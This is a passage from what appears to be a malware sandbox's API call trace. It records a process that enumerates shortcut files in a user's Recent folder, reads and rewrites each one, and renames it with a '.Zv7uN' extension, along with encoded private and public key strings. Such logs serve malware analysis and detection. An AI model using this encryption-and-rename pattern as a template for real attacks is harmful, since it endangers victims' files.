kjbx69.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.843] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.843] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.843] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x209a [0084.844] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.844] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x209a, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x209a, lpOverlapped=0x0) returned 1 [0084.846] CloseHandle (hObject=0x124) returned 1 [0084.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_ kJbX69.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_ kjbx69.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.848] WriteFile (in: hFile=0x124, lpBuffer=0x1f90730*, nNumberOfBytesToWrite=0x209a, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f90730*, lpNumberOfBytesWritten=0x18f978*=0x209a, lpOverlapped=0x0) returned 1 [0084.850] CloseHandle (hObject=0x124) returned 1 [0084.851] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_ kJbX69.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_ kjbx69.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_ kJbX69.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_ kjbx69.lnk.zv7un")) returned 1 [0084.852] GetCurrentThreadId () returned 0xa30 [0084.852] GetCurrentThreadId () returned 0xa30 [0084.852] GetCurrentThreadId () returned 0xa30 [0084.852] GetCurrentThreadId () returned 0xa30 [0084.852] GetCurrentThreadId () returned 0xa30 [0084.852] GetCurrentThreadId () returned 0xa30 [0084.852] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf42e7c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf42e7c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf42e7c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a4d, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_DoNNCW.lnk", cAlternateFileName="")) returned 1 [0084.852] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.853] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.853] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_DoNNCW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_donncw.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf42e7c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf42e7c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf42e7c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a4d)) returned 1 [0084.853] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_DoNNCW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_donncw.lnk")) returned 0x20 [0084.853] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_DoNNCW.lnk", dwFileAttributes=0x80) returned 1 [0084.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.856] GetCurrentThreadId () returned 0xa30 [0084.856] GetCurrentThreadId () returned 0xa30 [0084.856] GetCurrentThreadId () returned 0xa30 [0084.856] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.857] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.857] GetCurrentThreadId () returned 0xa30 [0084.857] GetCurrentThreadId () returned 0xa30 [0084.857] GetCurrentThreadId () returned 0xa30 [0084.857] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_DoNNCW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_donncw.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.857] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.857] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.857] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1a4d [0084.857] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.858] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1a4d, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1a4d, lpOverlapped=0x0) returned 1 [0084.859] CloseHandle (hObject=0x124) returned 1 [0084.860] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_DoNNCW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_donncw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.861] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1a4d, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1a4d, lpOverlapped=0x0) returned 1 [0084.863] CloseHandle (hObject=0x124) returned 1 [0084.865] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_DoNNCW.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_donncw.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_DoNNCW.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_donncw.lnk.zv7un")) returned 1 [0084.866] GetCurrentThreadId () returned 0xa30 [0084.866] GetCurrentThreadId () returned 0xa30 [0084.866] GetCurrentThreadId () returned 0xa30 [0084.866] GetCurrentThreadId () returned 0xa30 [0084.866] GetCurrentThreadId () returned 0xa30 [0084.866] GetCurrentThreadId () returned 0xa30 [0084.866] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe150f7a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe150f7a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe150f7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xeaf, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_HqTmD-7I2qdeb1.lnk", cAlternateFileName="_HQTMD~1.LNK")) returned 1 [0084.866] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.866] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.866] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_HqTmD-7I2qdeb1.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_hqtmd-7i2qdeb1.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, 